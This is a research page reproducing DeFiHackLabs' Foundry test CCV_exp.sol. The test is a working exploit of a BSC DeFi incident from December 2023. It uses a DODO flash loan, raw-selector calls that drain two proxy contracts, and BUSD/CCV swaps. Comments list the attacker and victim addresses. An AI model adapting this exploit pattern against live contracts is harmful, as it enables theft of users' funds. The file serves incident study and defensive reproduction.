Public reproduction file

src/test/2023-12/CCV_exp.sol

Public reproduction file for dataset entry CCV.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/CCV_exp.sol77 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~3200 $BUSD
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0xb2f22296661ccc5530ebdbabb8264b82e977504d
7// Vulnerable Contract : https://bscscan.com/address/0x37177ccc66ef919894cef37596bbebd76e7a40b2
8// Attack Tx : https://bscscan.com/tx/0x6ba4152db9da45f5751f2c083bf77d4b3385373d5660c51fe2e4382718afd9b4
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13interface IPorxy3717 {}
14 
15interface IPorxye38d {}
16 
17interface IDPPAdvanced {
18    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
19}
20 
21contract ContractTest is Test {
22    IERC20 CCV = IERC20(0x89c27D81941708dBC9AA4d905443392cb4A8EF73);
23    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
24    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
25    IPorxy3717 proxy3717 = IPorxy3717(0x37177ccC66ef919894CeF37596BBebd76E7A40B2);
26    IPorxye38d proxye38d = IPorxye38d(0xE38d7ff85bB801D35382eeF15eB8263F2c751ecd);
27    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
28    IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
29 
30    function setUp() public {
31        vm.createSelectFork("bsc", 34_739_874 - 1);
32        vm.label(address(proxy3717), "proxy3717");
33        vm.label(address(proxye38d), "proxye38d");
34    }
35 
36    function testExploit() public {
37        BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
38        emit log_named_uint("Attacker BUSD balance before attack:", BUSD.balanceOf(address(this)));
39        CCV.approve(address(Router), type(uint256).max);
40        BUSD.approve(address(Router), type(uint256).max);
41        DODO.flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));
42        emit log_named_uint("Attacker BUSD balance before attack:", BUSD.balanceOf(address(this)));
43    }
44 
45    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
46        require(msg.sender == address(DODO), "Fail");
47        (bool success1,) =
48            address(proxy3717).call(abi.encodeWithSelector(bytes4(0x369baafe), CCV.balanceOf(address(proxy3717))));
49        BUSDTOTOKEN();
50        (bool success2,) =
51            address(proxye38d).call(abi.encodeWithSelector(bytes4(0xb7da6a49), BUSD.balanceOf(address(proxye38d))));
52        TOKENTOBUSD();
53 
54        BUSD.transfer(address(DODO), 100_000 * 1e18);
55    }
56 
57    function BUSDTOTOKEN() internal {
58        address[] memory path = new address[](2);
59        path[0] = address(BUSD);
60        path[1] = address(CCV);
61        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
62            100_000 * 1e18, 0, path, address(this), block.timestamp
63        );
64    }
65 
66    function TOKENTOBUSD() internal {
67        address[] memory path = new address[](2);
68        path[0] = address(CCV);
69        path[1] = address(BUSD);
70        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
71            CCV.balanceOf(address(this)), 0, path, address(this), block.timestamp
72        );
73    }
74 
75    fallback() external payable {}
76    receive() external payable {}
77}

Analysis

Dataset entry

Public Foundry test for “CCV” (2023-12-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
Attack Contract
0xb2f22296661ccc5530ebdbabb8264b82e977504d
Vulnerable Contract
0x37177ccc66ef919894cef37596bbebd76e7a40b2

Attack Tx
0x6ba4152db9da45f5751f2c083bf77d4b3385373d5660c51fe2e4382718afd9b4

File record

Name: CCV
Path: src/test/2023-12/CCV_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 1564061fca1a1daedc9e47f13fca2959a0607016
Language: Solidity
Size: 78 lines
Date: 2023-12-28
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-12/CCV_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1564061fca1a1daedc9e47f13fca2959a0607016, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.